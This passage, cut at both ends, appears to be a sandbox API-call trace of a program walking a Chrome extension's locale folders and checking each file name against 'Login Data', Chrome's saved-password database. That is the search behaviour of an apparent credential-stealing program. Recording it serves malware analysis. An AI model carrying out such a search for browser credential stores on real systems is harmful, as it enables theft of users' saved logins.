Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.339] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.339] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.339] LocalFree (hMem=0x6525c0) returned 0x0 [0079.339] LocalFree (hMem=0x6524b8) returned 0x0 [0079.339] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.339] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.339] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.339] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.339] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.339] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" [0079.339] LocalFree (hMem=0x6523b0) returned 0x0 [0079.339] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.339] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" [0079.340] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*" [0079.340] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.340] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.340] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.340] LocalFree (hMem=0x6525c0) returned 0x0 [0079.340] LocalFree (hMem=0x6524b8) returned 0x0 [0079.340] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.340] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.340] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.340] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.340] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.340] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" [0079.340] LocalFree (hMem=0x6523b0) returned 0x0 [0079.340] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.340] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" [0079.340] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*" [0079.340] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.340] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.340] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.341] LocalFree (hMem=0x6525c0) returned 0x0 [0079.341] LocalFree (hMem=0x6524b8) returned 0x0 [0079.341] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.341] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.341] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.341] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.341] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.341] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" [0079.341] LocalFree (hMem=0x6523b0) returned 0x0 [0079.341] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.341] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" [0079.341] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*" [0079.341] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.341] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.341] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.341] LocalFree (hMem=0x6525c0) returned 0x0 [0079.341] LocalFree (hMem=0x6524b8) returned 0x0 [0079.341] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.341] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.341] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.341] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.341] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.341] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" [0079.341] LocalFree (hMem=0x6523b0) returned 0x0 [0079.341] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.341] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" [0079.342] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*" [0079.342] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.342] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.342] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.342] LocalFree (hMem=0x6525c0) returned 0x0 [0079.342] LocalFree (hMem=0x6524b8) returned 0x0 [0079.342] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.342] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.342] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.342] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.342] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.342] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" [0079.342] LocalFree (hMem=0x6523b0) returned 0x0 [0079.342] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.342] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" [0079.342] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*" [0079.342] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.342] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.342] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.343] LocalFree (hMem=0x6525c0) returned 0x0 [0079.343] LocalFree (hMem=0x6524b8) returned 0x0 [0079.343] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.343] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.343] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.343] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.343] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.343] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" [0079.343] LocalFree (hMem=0x6523b0) returned 0x0 [0079.343] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.343] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" [0079.343] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*" [0079.343] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.343] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.343] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.343] LocalFree (hMem=0x6525c0) returned 0x0 [0079.343] LocalFree (hMem=0x6524b8) returned 0x0 [0079.343] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x6523b0 [0079.343] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0079.343] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.343] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.343] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0079.343] lstrcatA 